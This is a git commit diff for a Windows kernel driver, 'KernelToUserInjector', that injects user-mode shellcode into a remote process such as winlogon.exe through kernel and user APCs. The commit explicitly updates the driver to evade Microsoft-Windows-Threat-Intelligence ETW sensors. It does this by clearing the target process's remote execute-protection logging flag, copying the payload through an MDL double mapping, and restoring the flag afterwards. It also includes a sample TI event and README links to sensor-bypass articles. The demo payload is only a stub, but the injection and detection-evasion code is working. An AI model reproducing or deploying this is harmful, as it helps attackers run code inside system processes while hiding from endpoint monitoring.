updated KernelToUserInjector project to evade more ETW Threat Intelligence sensors

This commit is contained in:
winterknife
2026-05-06 12:31:48 -04:00
parent 1be72e1164
commit 9b8982a3e5
7 changed files with 253 additions and 34 deletions
@@ -7,7 +7,7 @@
//
// Modifications:
// 2026-04-13 Created
// 2026-04-28 Updated
// 2026-05-06 Updated
// ========================================================================
// ========================================================================
@@ -30,6 +30,8 @@
#define SystemProcessInformation 0x05UL
#define ProcessEnableLogging 0x60UL
#pragma endregion
// ========================================================================
@@ -109,6 +111,26 @@ typedef struct _SYSTEM_PROCESS_INFORMATION {
// SYSTEM_EXTENDED_THREAD_INFORMATION + SYSTEM_PROCESS_INFORMATION_EXTENSION // SystemFullProcessInformation
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
// nt!_PROCESS_LOGGING_INFORMATION structure definition
#pragma warning(push)
#pragma warning(disable: 4201)
typedef struct _PROCESS_LOGGING_INFORMATION {
union {
ULONG Flags;
struct {
ULONG EnableReadVmLogging : 1; // Enables logging of read operations to process virtual memory.
ULONG EnableWriteVmLogging : 1; // Enables logging of write operations to process virtual memory.
ULONG EnableProcessSuspendResumeLogging : 1; // Enables logging of process suspend and resume events.
ULONG EnableThreadSuspendResumeLogging : 1; // Enables logging of thread suspend and resume events.
ULONG EnableLocalExecProtectVmLogging : 1; // Enables logging of local execution protection for virtual memory.
ULONG EnableRemoteExecProtectVmLogging : 1; // Enables logging of remote execution protection for virtual memory.
ULONG EnableImpersonationLogging : 1; // Enables logging of impersonation events.
ULONG Reserved : 25;
};
};
} PROCESS_LOGGING_INFORMATION, *PPROCESS_LOGGING_INFORMATION;
#pragma warning(pop)
// nt!_KAPC_ENVIRONMENT structure definition
typedef enum _KAPC_ENVIRONMENT {
OriginalApcEnvironment,
@@ -132,6 +154,21 @@ EXTERN_C NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(
_Out_opt_ PULONG ReturnLength
);
EXTERN_C NTSYSCALLAPI NTSTATUS NTAPI ZwQueryInformationProcess(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
EXTERN_C NTSYSCALLAPI NTSTATUS NTAPI ZwSetInformationProcess(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_In_reads_bytes_(ProcessInformationLength) PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength
);
EXTERN_C NTSYSCALLAPI NTSTATUS NTAPI ZwProtectVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress,
@@ -207,7 +244,11 @@ EXTERN_C DECLSPEC_NOINLINE NTSTATUS __stdcall query_process_thread_by_name(
/// @param SystemArgument2 Ignored
KKERNEL_ROUTINE kernel_routine;
/// @brief Inject a ring 3 payload from ring 0 to a remote process using APCs
/// @brief Rundown routine for the special kernel APC
/// @param Apc Pointer to the special kernel APC object
KRUNDOWN_ROUTINE rundown_routine;
/// @brief Inject a ring 3 payload from ring 0 into a remote process using APCs
/// @param wstrImageName Pointer to a null-terminated wide-character string representing the image name of the target process
/// @param pPayload KVA of the ring 3 payload buffer
/// @param dwptrPayloadSize Size of the ring 3 payload buffer in bytes
@@ -0,0 +1,86 @@
{
"header": {
"activity_id": "{00000000-0000-0000-0000-000000000000}",
"event_flags": 576,
"event_id": 22,
"event_name": "",
"event_opcode": 0,
"event_version": 3,
"process_id": 4,
"provider_name": "Microsoft-Windows-Threat-Intelligence",
"task_name": "KERNEL_THREATINT_TASK_PROTECTVM",
"thread_id": 6388,
"timestamp": "2026-05-05 16:00:49Z",
"trace_name": "TI-Trace"
},
"properties": {
"BaseAddress": "0x2865F380000",
"CallingProcessCreateTime": "2026-05-03 19:35:28Z",
"CallingProcessId": 4,
"CallingProcessProtection": 114,
"CallingProcessSectionSignatureLevel": 28,
"CallingProcessSignatureLevel": 30,
"CallingProcessStartKey": 10133099161583617,
"CallingThreadCreateTime": "2026-05-05 15:40:13Z",
"CallingThreadId": 6388,
"FullRegionSize": 4096,
"LastProtectionMask": 4,
"OriginalProcessCreateTime": "2026-05-03 19:35:28Z",
"OriginalProcessId": 4,
"OriginalProcessProtection": 114,
"OriginalProcessSectionSignatureLevel": 28,
"OriginalProcessSignatureLevel": 30,
"OriginalProcessStartKey": 10133099161583617,
"ProtectionMask": 32,
"RegionSize": 4096,
"TargetAddress": "0x2865F380000",
"TargetProcessCreateTime": "2026-05-03 19:35:57Z",
"TargetProcessId": 1052,
"TargetProcessProtection": 0,
"TargetProcessSectionSignatureLevel": 0,
"TargetProcessSignatureLevel": 0,
"TargetProcessStartKey": 10133099161583637,
"VaVadAllocationBase": "0x2865F380000",
"VaVadAllocationProtect": 4,
"VaVadCommitSize": "0x1000",
"VaVadMmfName": "",
"VaVadQueryResult": 0,
"VaVadRegionSize": "0x1000",
"VaVadRegionType": 131072
},
"property_types": {
"BaseAddress": "POINTER",
"CallingProcessCreateTime": "FILETIME",
"CallingProcessId": "UINT32",
"CallingProcessProtection": "UINT8",
"CallingProcessSectionSignatureLevel": "UINT8",
"CallingProcessSignatureLevel": "UINT8",
"CallingProcessStartKey": "UINT64",
"CallingThreadCreateTime": "FILETIME",
"CallingThreadId": "UINT32",
"FullRegionSize": "UINT64",
"LastProtectionMask": "UINT32",
"OriginalProcessCreateTime": "FILETIME",
"OriginalProcessId": "UINT32",
"OriginalProcessProtection": "UINT8",
"OriginalProcessSectionSignatureLevel": "UINT8",
"OriginalProcessSignatureLevel": "UINT8",
"OriginalProcessStartKey": "UINT64",
"ProtectionMask": "UINT32",
"RegionSize": "UINT64",
"TargetAddress": "POINTER",
"TargetProcessCreateTime": "FILETIME",
"TargetProcessId": "UINT32",
"TargetProcessProtection": "UINT8",
"TargetProcessSectionSignatureLevel": "UINT8",
"TargetProcessSignatureLevel": "UINT8",
"TargetProcessStartKey": "UINT64",
"VaVadAllocationBase": "POINTER",
"VaVadAllocationProtect": "UINT32",
"VaVadCommitSize": "POINTER",
"VaVadMmfName": "STRINGW",
"VaVadQueryResult": "UINT32",
"VaVadRegionSize": "POINTER",
"VaVadRegionType": "UINT32"
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 74 KiB

+8 -7
View File
@@ -2,7 +2,7 @@
## Version
- `v2.0.0`
- `v3.0.0`
## Brief
@@ -18,12 +18,12 @@
```
[DBG]: +++ KernelToUserInjector.sys Loaded +++
[DBG]: KernelToUserInjector.sys Built Apr 27 2026 16:54:27
[DBG]: KernelToUserInjector: DriverObject = FFFFC486721BDAF0
[DBG]: KernelToUserInjector.sys Built May 6 2026 11:07:01
[DBG]: KernelToUserInjector: DriverObject = FFFFE508AFD7E2F0
[DBG]: KernelToUserInjector: RegistryPath = \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\KernelToUserInjector
[DBG]: [+] PID of target process: 744
[DBG]: [+] TID of thread in alertable wait state: 780
[DBG]: [+] Payload buffer UVA: 0x0000023626550000
[DBG]: [+] PID of target process: 712
[DBG]: [+] TID of thread in alertable wait state: 1032
[DBG]: [+] Payload buffer UVA: 0x0000020B242E0000
[DBG]: [+] Queued a special kernel APC to the target thread!
[DBG]: [+] Queued a regular user-mode APC to the target thread!
[DBG]: --- KernelToUserInjector.sys Unloaded ---
@@ -31,7 +31,7 @@
## Tested OS Versions
- `Windows 11 21H2 Build 22000 Revision 675 64-bit`
- `Windows 11 25H2 Build 26200 Revision 8246 64-bit`
## References
@@ -41,3 +41,4 @@
4. [Bypassing the Microsoft-Windows-Threat-Intelligence Kernel APC Injection Sensor](https://medium.com/@philiptsukerman/bypassing-the-microsoft-windows-threat-intelligence-kernel-apc-injection-sensor-92266433e0b0)
5. [Blackbone](https://github.com/DarthTon/Blackbone)
6. [Circumventing Windows Defender ATP's user-mode APC Injection sensor from Kernel-mode](https://rce4fun.blogspot.com/2019/04/circumventing-windows-defender-atps.html)
7. [KernelInjector](https://github.com/0mWindyBug/KernelInjector)
+2 -2
View File
@@ -7,7 +7,7 @@
//
// Modifications:
// 2026-04-13 Created
// 2026-04-20 Updated
// 2026-05-05 Updated
// ========================================================================
// ========================================================================
@@ -54,7 +54,7 @@ EXTERN_C __declspec(code_seg("INIT")) NTSTATUS __stdcall DriverEntry(
// Inject ring 3 shellcode to a user-land process
BYTE byarrPayload[] = { 0xCC, 0x90, 0xC3 }; // int3; nop; ret;
inject_payload(L"lsass.exe", byarrPayload, sizeof(byarrPayload));
inject_payload(L"winlogon.exe", byarrPayload, sizeof(byarrPayload));
return STATUS_SUCCESS;
}
@@ -8,7 +8,7 @@
//
// Modifications:
// 2026-04-13 Created
// 2026-04-28 Updated
// 2026-05-06 Updated
// ========================================================================
// ========================================================================
@@ -159,6 +159,17 @@ VOID __stdcall kernel_routine(
ExFreePoolWithTag(Apc, __POOLTAG__);
}
_Use_decl_annotations_
VOID __stdcall rundown_routine(
PRKAPC Apc
) {
// Free the regular user-mode APC object
ExFreePoolWithTag(Apc->SystemArgument1, __POOLTAG__);
// Free the special kernel APC object
ExFreePoolWithTag(Apc, __POOLTAG__);
}
_Use_decl_annotations_
NTSTATUS __stdcall inject_payload(
PCWSTR wstrImageName,
@@ -170,9 +181,15 @@ NTSTATUS __stdcall inject_payload(
UNICODE_STRING uncImageName; ZERO_MEMORY(&uncImageName, sizeof(UNICODE_STRING));
PEPROCESS pEprocess = nullptr;
PETHREAD pEthread = nullptr;
KAPC_STATE kapcState; ZERO_MEMORY(&kapcState, sizeof(KAPC_STATE));
HANDLE hProcess = nullptr;
DWORD_PTR dwptrSize = 0;
PVOID pBuffer = nullptr;
PMDL pMdl = nullptr;
KAPC_STATE kapcState; ZERO_MEMORY(&kapcState, sizeof(KAPC_STATE));
BOOLEAN bLocked = false;
PVOID pBufferKva = nullptr;
PROCESS_LOGGING_INFORMATION processLoggingInformation; ZERO_MEMORY(&processLoggingInformation, sizeof(PROCESS_LOGGING_INFORMATION));
BOOLEAN bEtwTiDisabled = false;
DWORD dwOldProtection = 0;
PKAPC pKapcKernel = nullptr;
PKAPC pKapcUser = nullptr;
@@ -187,38 +204,89 @@ NTSTATUS __stdcall inject_payload(
RtlInitUnicodeString(&uncImageName, wstrImageName);
status = query_process_thread_by_name(&uncImageName, &pEprocess, &pEthread);
if (!NT_SUCCESS(status) || pEprocess == nullptr || pEthread == nullptr) {
status = STATUS_NOT_FOUND;
goto cleanup;
}
// Obtain a kernel handle to the target process
status = ObOpenObjectByPointer(pEprocess, OBJ_KERNEL_HANDLE, nullptr, 0, nullptr, KernelMode, &hProcess);
if (!NT_SUCCESS(status)) {
DEBUG_PRINT("[-] ObOpenObjectByPointer error: 0x%08X\n", status);
goto cleanup;
}
// Allocate RW memory in the target process
dwptrSize = dwptrPayloadSize;
status = ZwAllocateVirtualMemory(hProcess, &pBuffer, 0, &dwptrSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
DEBUG_PRINT("[-] ZwAllocateVirtualMemory error: 0x%08X\n", status);
goto cleanup;
}
DEBUG_PRINT("[+] Payload buffer UVA: 0x%p\n", pBuffer);
// Allocate a MDL for the payload buffer in UVAS
pMdl = IoAllocateMdl(pBuffer, static_cast<ULONG>(dwptrSize), false, false, nullptr);
if (pMdl == nullptr) {
status = STATUS_INSUFFICIENT_RESOURCES;
DEBUG_PRINT("[-] IoAllocateMdl error: 0x%08X\n", status);
goto cleanup;
}
// Attach the current thread to the address space of the target process
KeStackAttachProcess(pEprocess, &kapcState);
// Allocate RW memory in the target process
// This userland memory is never properly cleaned up on either success or failure paths
dwptrSize = dwptrPayloadSize;
status = ZwAllocateVirtualMemory(ZwCurrentProcess(), &pBuffer, 0, &dwptrSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
DEBUG_PRINT("[-] ZwAllocateVirtualMemory error: 0x%08X\n", status);
// Lock the pages in the MDL
__try {
MmProbeAndLockPages(pMdl, KernelMode, IoModifyAccess);
} __except (EXCEPTION_EXECUTE_HANDLER) {
status = STATUS_UNSUCCESSFUL;
DEBUG_PRINT("[-] MmProbeAndLockPages error: 0x%08X\n", status);
KeUnstackDetachProcess(&kapcState);
goto cleanup;
}
DEBUG_PRINT("[+] Payload buffer UVA: 0x%p\n", pBuffer);
// Copy ring 3 payload from KVAS to target process UVAS
// This is quite risky!
COPY_MEMORY(pBuffer, pPayload, dwptrPayloadSize);
// Change page protection of the allocated memory to RX
status = ZwProtectVirtualMemory(ZwCurrentProcess(), &pBuffer, &dwptrSize, PAGE_EXECUTE_READ, &dwOldProtection);
if (!NT_SUCCESS(status)) {
DEBUG_PRINT("[-] ZwProtectVirtualMemory error: 0x%08X\n", status);
KeUnstackDetachProcess(&kapcState);
goto cleanup;
}
bLocked = true;
// Detach the current thread from the address space of the target process
KeUnstackDetachProcess(&kapcState);
// Map the locked pages in KVAS
pBufferKva = MmMapLockedPagesSpecifyCache(pMdl, KernelMode, MmCached, nullptr, false, HighPagePriority | MdlMappingNoExecute);
if (pBufferKva == nullptr) {
status = STATUS_INSUFFICIENT_RESOURCES;
DEBUG_PRINT("[-] MmMapLockedPagesSpecifyCache error: 0x%08X\n", status);
goto cleanup;
}
// Copy ring 3 payload via double mapping
COPY_MEMORY(pBufferKva, pPayload, dwptrPayloadSize);
// Query EtwTi logging flags for the target process
status = ZwQueryInformationProcess(hProcess, static_cast<PROCESSINFOCLASS>(ProcessEnableLogging), &processLoggingInformation, sizeof(PROCESS_LOGGING_INFORMATION), nullptr);
if (!NT_SUCCESS(status)) {
DEBUG_PRINT("[-] ZwQueryInformationProcess error: 0x%08X\n", status);
goto cleanup;
}
// Disable logging of remote execution protection for virtual memory for the target process
if (processLoggingInformation.EnableRemoteExecProtectVmLogging) {
processLoggingInformation.EnableRemoteExecProtectVmLogging = 0UL;
status = ZwSetInformationProcess(hProcess, static_cast<PROCESSINFOCLASS>(ProcessEnableLogging), &processLoggingInformation, sizeof(PROCESS_LOGGING_INFORMATION));
if (!NT_SUCCESS(status)) {
DEBUG_PRINT("[-] ZwSetInformationProcess error: 0x%08X\n", status);
goto cleanup;
}
bEtwTiDisabled = true;
}
// Change page protection of the allocated memory to RX
status = ZwProtectVirtualMemory(hProcess, &pBuffer, &dwptrSize, PAGE_EXECUTE_READ, &dwOldProtection);
if (!NT_SUCCESS(status)) {
DEBUG_PRINT("[-] ZwProtectVirtualMemory error: 0x%08X\n", status);
goto cleanup;
}
// Allocate memory for the KAPC structures
pKapcKernel = static_cast<PKAPC>(ExAllocatePoolZero(NonPagedPoolNx, sizeof(KAPC), __POOLTAG__));
if (pKapcKernel == nullptr) {
@@ -236,23 +304,46 @@ NTSTATUS __stdcall inject_payload(
}
// Initialize the special kernel APC
KeInitializeApc(pKapcKernel, pEthread, OriginalApcEnvironment, kernel_routine, nullptr, nullptr, KernelMode, nullptr);
KeInitializeApc(pKapcKernel, pEthread, OriginalApcEnvironment, kernel_routine, rundown_routine, nullptr, KernelMode, nullptr);
// Initialize the regular user-mode APC
KeInitializeApc(pKapcUser, pEthread, OriginalApcEnvironment, reinterpret_cast<PKKERNEL_ROUTINE>(ExFreePool), nullptr, reinterpret_cast<PKNORMAL_ROUTINE>(pBuffer), UserMode, nullptr);
// Insert the APC into the queue of the target thread
// If the driver is unloaded after the special kernel APC is queued but before the kernel / rundown routine has finished running, it would lead to bugcheck unpleasantries
if (!KeInsertQueueApc(pKapcKernel, pKapcUser, nullptr, IO_NO_INCREMENT)) {
status = STATUS_UNSUCCESSFUL;
DEBUG_PRINT("[-] KeInsertQueueApc #1 error: 0x%08X\n", status);
ExFreePoolWithTag(pKapcKernel, __POOLTAG__);
ExFreePoolWithTag(pKapcUser, __POOLTAG__);
ExFreePoolWithTag(pKapcKernel, __POOLTAG__);
goto cleanup;
}
DEBUG_PRINT("[+] Queued a special kernel APC to the target thread!\n");
// Cleanup
cleanup:
if (bEtwTiDisabled) {
processLoggingInformation.EnableRemoteExecProtectVmLogging = 1UL;
ZwSetInformationProcess(hProcess, static_cast<PROCESSINFOCLASS>(ProcessEnableLogging), &processLoggingInformation, sizeof(PROCESS_LOGGING_INFORMATION));
}
if (pBufferKva)
MmUnmapLockedPages(pBufferKva, pMdl);
if (bLocked)
MmUnlockPages(pMdl);
if (pMdl)
IoFreeMdl(pMdl);
if (!NT_SUCCESS(status) && pBuffer) {
dwptrSize = 0;
ZwFreeVirtualMemory(hProcess, &pBuffer, &dwptrSize, MEM_RELEASE);
}
if (hProcess)
ZwClose(hProcess);
if (pEthread)
ObDereferenceObject(pEthread);